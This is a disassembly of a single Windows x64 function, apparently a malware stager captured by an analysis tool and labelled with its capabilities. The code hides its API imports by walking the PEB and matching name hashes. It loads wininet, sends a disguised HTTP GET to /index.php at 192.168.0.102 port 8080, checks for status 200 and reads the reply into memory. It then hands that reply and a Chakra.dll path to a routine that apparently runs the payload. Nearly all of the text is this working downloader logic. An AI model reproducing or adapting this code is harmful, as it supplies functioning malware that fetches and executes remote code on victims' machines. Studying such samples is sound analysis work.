Function at 0x140001020
Capabilities:
Access peb ldr_data
Check http status code

Disassembly:
movabs rax, 0x2f616c6c697a6f4d
push rbp
xor ecx, ecx
movabs rdx, 0x6e69572820302e35
mov rbp, rsp
push r15
push r14
push r13
push r12
push rdi
push rsi
push rbx
and rsp, 0xfffffffffffffff0
sub rsp, 0x1c0
mov qword [rsp + 0x150], rax
movabs rax, 0x20544e2073776f64
mov qword [rsp + 0x158], rdx
movabs rdx, 0x574f57203b312e36
mov qword [rsp + 0x160], rax
movabs rax, 0x6c70704120293436
mov qword [rsp + 0x168], rdx
movabs rdx, 0x2f74694b62655765
mov qword [rsp + 0x170], rax
movabs rax, 0x282036332e373335
mov qword [rsp + 0x178], rdx
movabs rdx, 0x6c202c4c4d54484b
mov qword [rsp + 0x180], rax
movabs rax, 0x6b63654720656b69
mov qword [rsp + 0x188], rdx
movabs rdx, 0x6d6f72684320296f
mov qword [rsp + 0x190], rax
movabs rax, 0x342e302e36392f65
mov qword [rsp + 0x198], rdx
movabs rdx, 0x203031312e343636
mov qword [rsp + 0x1a0], rax
movabs rax, 0x6972616661532030
mov qword [rsp + 0x1a8], rdx
movabs rdx, 0x36332e3733352f
mov qword [rsp + 0x1ae], rax
movabs rax, 0x2e3836312e323931
mov qword [rsp + 0xb2], rax
movabs rax, 0x3230312e302e38
mov qword [rsp + 0x1b6], rdx
mov edx, 0x70
mov qword [rsp + 0xb8], rax
movabs rax, 0x68702e7865646e69
mov qword [rsp + 0xa8], rax
movabs rax, 0x687475412d575757
mov word [rsp + 0xb0], dx
movabs rdx, 0x6574616369746e65
mov qword [rsp + 0xe0], rax
mov dword [rsp + 0x80], 0
mov dword [rsp + 0x84], 4
mov dword [rsp + 0x8c], 0
mov dword [rsp + 0x95], 0x544547
mov qword [rsp + 0xe8], rdx
movdqu xmm0, xmmword [str.C:WindowsSystem32Chakra.d]
mov rax, qword [0x140002030]
mov qword [rsp + 0xf8], 0
mov qword [rsp + 0xf0], 0x203a
mov dword [rsp + 0xff], 0
movups xmmword [rsp + 0x110], xmm0
movdqu xmm0, xmmword [0x140002010]
mov qword [rsp + 0x140], rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
movups xmmword [rsp + 0x120], xmm0
movdqu xmm0, xmmword [0x140002020]
mov dword [rsp + 0x148], 0x6c006c
mov r10, qword [rax + 0x20]
mov word [rsp + 0x14c], cx
movups xmmword [rsp + 0x130], xmm0
mov r9, r10
nop dword [rax]
mov rax, qword [r9 + 0x50]
lea rcx, [rax + 2]
movzx eax, word [rax]
test ax, ax
je 0x140001291
xor edx, edx
nop word [rax + rax]
mov r8d, edx
add rcx, 2
shl r8d, 4
add edx, r8d
add edx, eax
movzx eax, word [rcx - 2]
test ax, ax
jne 0x140001270
cmp edx, 0x779b2700
je 0x14000129e
mov r9, qword [r9]
cmp r10, r9
jne 0x140001258
xor r14d, r14d
jmp 0x1400012a2
mov r14, qword [r9 + 0x20]
mov edx, 0xef6a4586
mov rcx, r14
call fcn.140001870
lea rcx, [rsp + 0xa0]
mov r13, rax
movabs rax, 0x74656e696e6977
mov qword [rsp + 0xa0], rax
call r13
mov edx, 0x8fcb044c
mov rsi, rax
mov rcx, rax
call fcn.140001870
mov rcx, rsi
mov edx, 0x71040d54
mov rbx, rax
call fcn.140001870
mov rcx, rsi
mov edx, 0x213109c
mov r12, rax
call fcn.140001870
mov rcx, rsi
mov edx, 0x37e92584
mov rdi, rax
call fcn.140001870
mov rcx, rsi
mov edx, 0x94e63723
mov qword [rsp + 0x68], rax
call fcn.140001870
mov rcx, rsi
mov edx, 0xb1740aa
mov qword [rsp + 0x60], rax
call fcn.140001870
mov rcx, rsi
mov edx, 0xd05753f5
mov qword [rsp + 0x70], rax
call fcn.140001870
mov edx, 0x31503dcb
mov rcx, rsi
mov qword [rsp + 0x78], rax
call fcn.140001870
lea rcx, [rsp + 0x99]
mov dword [rsp + 0x99], 0x6376736d
mov dword [rsp + 0x9c], 0x747263
mov rsi, rax
call r13
mov edx, 0x8e5164e
mov r13, rax
mov rcx, rax
call fcn.140001870
mov edx, 0x82d52
mov rcx, r13
mov qword [rsp + 0x58], rax
call fcn.140001870
mov r15, rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov r9, qword [rax + 0x20]
mov rdx, r9
nop dword [rax]
mov rax, qword [rdx + 0x50]
movzx r8d, word [rax]
lea r10, [rax + 2]
test r8w, r8w
je 0x1400013f0
xor eax, eax
nop dword [rax]
mov ecx, eax
add r10, 2
shl ecx, 4
add eax, ecx
add eax, r8d
movzx r8d, word [r10 - 2]
test r8w, r8w
jne 0x1400013d0
cmp eax, 0x57552168
je 0x1400013fd
mov rdx, qword [rdx]
cmp r9, rdx
jne 0x1400013b8
xor r13d, r13d
jmp 0x140001401
mov r13, qword [rdx + 0x20]
mov edx, 0x9445102b
mov rcx, r13
call fcn.140001870
mov edx, 0xec734615
mov rcx, r13
mov qword [rsp + 0xc0], rax
call fcn.140001870
mov edx, 0x7147082b
mov rcx, r14
mov qword [rsp + 0xc8], rax
call fcn.140001870
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0xd0], rax
lea rcx, [rsp + 0x150]
mov dword [rsp + 0x20], 0
call rbx
mov rbx, rax
test rax, rax
je 0x1400015b6
mov qword [rsp + 0x38], 0
xor r9d, r9d
mov rcx, rax
lea rdx, [rsp + 0xb2]
mov dword [rsp + 0x30], 0
mov r8d, 0x1f90
mov dword [rsp + 0x28], 3
mov qword [rsp + 0x20], 0
call r12
mov r12, rax
test rax, rax
je 0x140001572
mov qword [rsp + 0x38], 0
xor r9d, r9d
mov rcx, rax
lea rdx, [rsp + 0x95]
mov dword [rsp + 0x30], 0
lea r8, [rsp + 0xa8]
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
call rdi
mov rdi, rax
test rax, rax
je 0x140001572
lea rax, [rsp + 0xe0]
movabs rdx, 0xb757959dc4ad5b04
mov rcx, rax
mov qword [rsp + 0x50], rax
call fcn.140001a50
xor r9d, r9d
mov rdx, qword [rsp + 0x50]
mov rcx, rdi
mov dword [rsp + 0x20], 0
mov rax, qword [rsp + 0x68]
mov r8d, 0x23
call rax
test eax, eax
je 0x14000156e
mov rax, qword [rsp + 0x60]
mov edx, 0x20000013
mov rcx, rdi
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x84]
lea r8, [rsp + 0x80]
call rax
test eax, eax
je 0x14000156e
cmp dword [rsp + 0x80], 0xc8
je 0x1400015c7
xor ecx, ecx
jmp 0x140001576
xor ecx, ecx
xor edi, edi
lea rax, [rsp + 0xc0]
mov edx, dword [rsp + 0x8c]
mov r8, r14
mov qword [rsp + 0x78], rcx
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x110]
call fcn.1400016e0
mov rcx, qword [rsp + 0x78]
call r15
mov rcx, rdi
call rsi
mov rcx, r12
call rsi
mov rcx, rbx
call rsi
lea rsp, [rbp - 0x38]
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
lea rax, [rsp + 0x88]
xor ecx, ecx
mov qword [rsp + 0x50], rsi
xor r13d, r13d
mov qword [rsp + 0x60], rax
lea rax, [rsp + 0x90]
mov rsi, rcx
mov qword [rsp + 0x68], rax
lea rax, [rsp + 0x8c]
mov qword [rsp + 0x48], rax
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rsp + 0x60]
mov rax, qword [rsp + 0x70]
mov rcx, rdi
call rax
test eax, eax
je 0x1400016c3
mov eax, dword [rsp + 0x8c]
mov r9, qword [rsp + 0x68]
test eax, eax
jne 0x14000169b
mov rdx, qword [rsp + 0x48]
mov rax, qword [rsp + 0x78]
mov r8d, 4
mov rcx, rdi
call rax
test eax, eax
je 0x140001663
mov edx, dword [rsp + 0x8c]
mov rax, qword [rsp + 0x58]
mov ecx, 1
call rax
mov r13, rax
test rax, rax
je 0x1400015b6
mov rsi, rax
mov eax, dword [rsp + 0x88]
mov r9, qword [rsp + 0x68]
mov rdx, r13
mov rcx, rdi
lea r8d, [rax - 4]
mov rax, qword [rsp + 0x78]
call rax
test eax, eax
je 0x1400015fb
mov eax, dword [rsp + 0x90]
test eax, eax
je 0x1400016d0
add r13, rax
jmp 0x1400015fb
mov r8d, dword [rsp + 0x88]
mov rax, qword [rsp + 0x78]
mov rdx, r13
mov rcx, rdi
call rax
test eax, eax
je 0x1400015fb
mov eax, dword [rsp + 0x90]
test eax, eax
jne 0x140001693
mov rcx, rsi
mov rsi, qword [rsp + 0x50]
jmp 0x140001576
mov rcx, rsi
mov rsi, qword [rsp + 0x50]
jmp 0x1400015a4